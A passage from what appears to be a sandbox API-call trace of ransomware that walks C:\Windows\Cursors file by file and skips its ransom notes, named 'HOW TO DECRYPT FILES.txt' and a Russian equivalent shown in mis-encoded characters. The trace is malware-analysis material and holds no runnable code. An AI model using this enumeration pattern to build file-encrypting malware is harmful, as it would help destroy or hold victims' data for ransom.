lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa345aabb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa345aabb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2527d5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_busy_xl.ani", cAlternateFileName="")) returned 1 [0125.386] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.386] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_busy_xl.ani") returned 1 [0125.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_busy_xl.ani") returned 1 [0125.386] lstrcmpiA (lpString1="", lpString2="aero_busy_xl.ani") returned -1 [0125.386] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_busy_l.ani") returned="aero_busy_l.ani" [0125.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.387] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.387] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30a28a6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30a28a6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2527d5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_ew.cur", cAlternateFileName="")) returned 1 [0125.387] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_ew.cur") returned 1 [0125.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_ew.cur") returned 1 [0125.387] lstrcmpiA (lpString1="", lpString2="aero_ew.cur") returned -1 [0125.387] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_busy_xl.ani") returned="aero_busy_xl.ani" [0125.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.387] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.387] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30c8a03, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30c8a03, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe254deb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_ew_l.cur", cAlternateFileName="")) returned 1 [0125.387] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_ew_l.cur") returned 1 [0125.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_ew_l.cur") returned 1 [0125.387] lstrcmpiA (lpString1="", lpString2="aero_ew_l.cur") returned -1 [0125.387] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_ew.cur") returned="aero_ew.cur" [0125.388] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.388] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.388] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30eeb60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30eeb60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe254deb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_ew_xl.cur", cAlternateFileName="")) returned 1 [0125.388] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.388] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_ew_xl.cur") returned 1 [0125.388] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_ew_xl.cur") returned 1 [0125.388] lstrcmpiA (lpString1="", lpString2="aero_ew_xl.cur") returned -1 [0125.388] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_ew_l.cur") returned="aero_ew_l.cur" [0125.388] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.388] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.388] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30eeb60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30eeb60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2574017, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_helpsel.cur", cAlternateFileName="")) returned 1 [0125.388] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.388] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_helpsel.cur") returned 1 [0125.388] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_helpsel.cur") returned 1 [0125.389] lstrcmpiA (lpString1="", lpString2="aero_helpsel.cur") returned -1 [0125.389] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_ew_xl.cur") returned="aero_ew_xl.cur" [0125.389] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.389] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.389] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa313ae1a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa313ae1a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2574017, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_helpsel_l.cur", cAlternateFileName="")) returned 1 [0125.389] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.389] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_helpsel_l.cur") returned 1 [0125.389] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_helpsel_l.cur") returned 1 [0125.389] lstrcmpiA (lpString1="", lpString2="aero_helpsel_l.cur") returned -1 [0125.389] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_helpsel.cur") returned="aero_helpsel.cur" [0125.389] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.389] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.389] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3160f77, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3160f77, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe259a175, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_helpsel_xl.cur", cAlternateFileName="")) returned 1 [0125.389] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_helpsel_xl.cur") returned 1 [0125.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_helpsel_xl.cur") returned 1 [0125.390] lstrcmpiA (lpString1="", lpString2="aero_helpsel_xl.cur") returned -1 [0125.390] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_helpsel_l.cur") returned="aero_helpsel_l.cur" [0125.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.390] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.390] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3160f77, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3160f77, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe25c02d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_link.cur", cAlternateFileName="")) returned 1 [0125.390] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_link.cur") returned 1 [0125.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_link.cur") returned 1 [0125.390] lstrcmpiA (lpString1="", lpString2="aero_link.cur") returned -1 [0125.390] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_helpsel_xl.cur") returned="aero_helpsel_xl.cur" [0125.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.390] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.390] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31870d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31870d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe25c02d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_link_l.cur", cAlternateFileName="")) returned 1 [0125.391] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.391] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_link_l.cur") returned 1 [0125.391] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_link_l.cur") returned 1 [0125.391] lstrcmpiA (lpString1="", lpString2="aero_link_l.cur") returned -1 [0125.391] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_link.cur") returned="aero_link.cur" [0125.391] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.391] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.391] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31870d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31870d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe260c58f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_link_xl.cur", cAlternateFileName="")) returned 1 [0125.391] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.391] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_link_xl.cur") returned 1 [0125.391] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_link_xl.cur") returned 1 [0125.391] lstrcmpiA (lpString1="", lpString2="aero_link_xl.cur") returned -1 [0125.391] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_link_l.cur") returned="aero_link_l.cur" [0125.391] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.391] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.391] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31ad231, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31ad231, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26326ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_move.cur", cAlternateFileName="")) returned 1 [0125.392] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.392] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_move.cur") returned 1 [0125.392] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_move.cur") returned 1 [0125.392] lstrcmpiA (lpString1="", lpString2="aero_move.cur") returned -1 [0125.392] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_link_xl.cur") returned="aero_link_xl.cur" [0125.392] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.392] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.392] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31ad231, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31ad231, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26326ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_move_l.cur", cAlternateFileName="")) returned 1 [0125.392] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.392] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_move_l.cur") returned 1 [0125.392] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_move_l.cur") returned 1 [0125.392] lstrcmpiA (lpString1="", lpString2="aero_move_l.cur") returned -1 [0125.392] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_move.cur") returned="aero_move.cur" [0125.392] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.392] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.393] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31d338e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31d338e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26f0dc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_move_xl.cur", cAlternateFileName="")) returned 1 [0125.393] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_move_xl.cur") returned 1 [0125.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_move_xl.cur") returned 1 [0125.393] lstrcmpiA (lpString1="", lpString2="aero_move_xl.cur") returned -1 [0125.393] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_move_l.cur") returned="aero_move_l.cur" [0125.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.393] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.393] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31d338e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31d338e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26f0dc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_nesw.cur", cAlternateFileName="")) returned 1 [0125.393] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_nesw.cur") returned 1 [0125.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_nesw.cur") returned 1 [0125.393] lstrcmpiA (lpString1="", lpString2="aero_nesw.cur") returned -1 [0125.393] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_move_xl.cur") returned="aero_move_xl.cur" [0125.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.393] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.394] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31f94eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31f94eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2716f21, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_nesw_l.cur", cAlternateFileName="")) returned 1 [0125.394] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_nesw_l.cur") returned 1 [0125.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_nesw_l.cur") returned 1 [0125.394] lstrcmpiA (lpString1="", lpString2="aero_nesw_l.cur") returned -1 [0125.394] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_nesw.cur") returned="aero_nesw.cur" [0125.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.394] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.394] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31f94eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31f94eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe273d07f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_nesw_xl.cur", cAlternateFileName="")) returned 1 [0125.394] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_nesw_xl.cur") returned 1 [0125.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_nesw_xl.cur") returned 1 [0125.394] lstrcmpiA (lpString1="", lpString2="aero_nesw_xl.cur") returned -1 [0125.394] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_nesw_l.cur") returned="aero_nesw_l.cur" [0125.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.394] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.395] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa321f648, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa321f648, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27631dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_ns.cur", cAlternateFileName="")) returned 1 [0125.395] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_ns.cur") returned 1 [0125.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_ns.cur") returned 1 [0125.395] lstrcmpiA (lpString1="", lpString2="aero_ns.cur") returned -1 [0125.395] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_nesw_xl.cur") returned="aero_nesw_xl.cur" [0125.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.395] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.396] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa321f648, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa321f648, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27631dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_ns_l.cur", cAlternateFileName="")) returned 1 [0125.396] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_ns_l.cur") returned 1 [0125.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_ns_l.cur") returned 1 [0125.396] lstrcmpiA (lpString1="", lpString2="aero_ns_l.cur") returned -1 [0125.396] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_ns.cur") returned="aero_ns.cur" [0125.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.396] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.396] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32457a5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32457a5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe278933b, 